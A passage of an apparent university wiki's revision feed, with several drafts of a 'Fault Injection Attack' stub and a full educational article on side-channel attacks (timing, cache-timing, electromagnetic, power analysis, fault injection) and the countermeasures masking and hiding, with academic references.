&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8955</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8955"/>
		<updated>2021-12-21T20:34:49Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is on technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8954</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8954"/>
		<updated>2021-12-21T20:34:43Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Fault Injection Attack is a type of a Side-Channel Attack. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is on technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8952</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8952"/>
		<updated>2021-12-21T20:20:47Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed. &lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8951</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8951"/>
		<updated>2021-12-21T20:10:48Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Fault Injection Attack Techniques */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8950</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8950"/>
		<updated>2021-12-21T20:10:10Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Fault Injection Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shielding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Detection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8949</id>
		<title>Side Channel Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&amp;diff=8949"/>
		<updated>2021-12-21T20:08:12Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Fault-Injection Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Classical cryptanalytic attacks&#039;&#039;&#039; analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called &#039;&#039;&#039;implementation attack&#039;&#039;&#039; (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.&lt;br /&gt;
&lt;br /&gt;
There are two types of implementation attack classifications. First the classification in &#039;&#039;&#039;active&#039;&#039;&#039; (device or environment is changed so that the device shows unnatural behavior) and &#039;&#039;&#039;passive&#039;&#039;&#039; (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are &#039;&#039;&#039;non-invasive&#039;&#039;&#039; (only information from directly accessible interfaces is used), &#039;&#039;&#039;semi-invasive&#039;&#039;&#039; (modification of the device, but only the outer layers) or &#039;&#039;&#039;invasive&#039;&#039;&#039; (manipulation of the device in every possible way).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Side Channel Attacks&#039;&#039;&#039; are classified as &#039;&#039;&#039;passive&#039;&#039;&#039; and &#039;&#039;&#039;non-invasive&#039;&#039;&#039; implementation attacks.&lt;br /&gt;
&lt;br /&gt;
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Side channels.PNG|500px]]&amp;lt;ref name=&amp;quot;Mai12&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;: &lt;br /&gt;
# Timing Attacks&lt;br /&gt;
# Electromagnetic Attacks &lt;br /&gt;
# Power-Monitoring Attacks&lt;br /&gt;
# Fault-Injection Attacks &lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. &amp;lt;br/&amp;gt;&lt;br /&gt;
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process&#039;s cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:&lt;br /&gt;
* cache hit (the data requested by the processor is available in the cache) and &lt;br /&gt;
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).&lt;br /&gt;
&lt;br /&gt;
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt; &amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Cache Timing Attack.PNG|600px]]&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
* Simple Electromagnetic Analysis and &lt;br /&gt;
* Differential Electromagnetic Analysis.&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.&lt;br /&gt;
&lt;br /&gt;
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.&lt;br /&gt;
&lt;br /&gt;
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. &amp;lt;br/&amp;gt;&lt;br /&gt;
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.&lt;br /&gt;
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. &amp;lt;br/&amp;gt;&lt;br /&gt;
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Correlation Power Analysis.PNG|350px]]&amp;lt;ref name=&amp;quot;CPA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;CRR03&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
The Fault-Injection Attack is a attack where keys/secrets and sensitive information is &amp;quot;stolen&amp;quot; from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.&amp;lt;ref name=&amp;quot;ISCA&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.&amp;lt;ref name=&amp;quot;BT19&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.&lt;br /&gt;
&lt;br /&gt;
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;: &lt;br /&gt;
* Masking&lt;br /&gt;
* Hiding&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:&lt;br /&gt;
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and &lt;br /&gt;
* making side channel signals the same (for all operations and data values).&lt;br /&gt;
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).&amp;lt;ref name=&amp;quot;Pop09&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;BT19&amp;quot;&amp;gt;Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CRR03&amp;quot;&amp;gt;Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Pop09&amp;quot;&amp;gt;T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Mai12&amp;quot;&amp;gt;Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;CPA&amp;quot;&amp;gt;https://cryptography.gmu.edu/documentation/fobos/cpa.html&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;ISCA&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8948</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8948"/>
		<updated>2021-12-21T19:56:14Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Types of Side Channel Attacks ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Timing Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Cache-Timing Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Simple Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Differential Electromagnetic Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Power-monitoring Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Simple Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Differential Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Correlation Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Template Power Analysis ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Fault-Injection Attacks ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Masking ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Hiding ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8947</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8947"/>
		<updated>2021-12-21T19:56:06Z</updated>

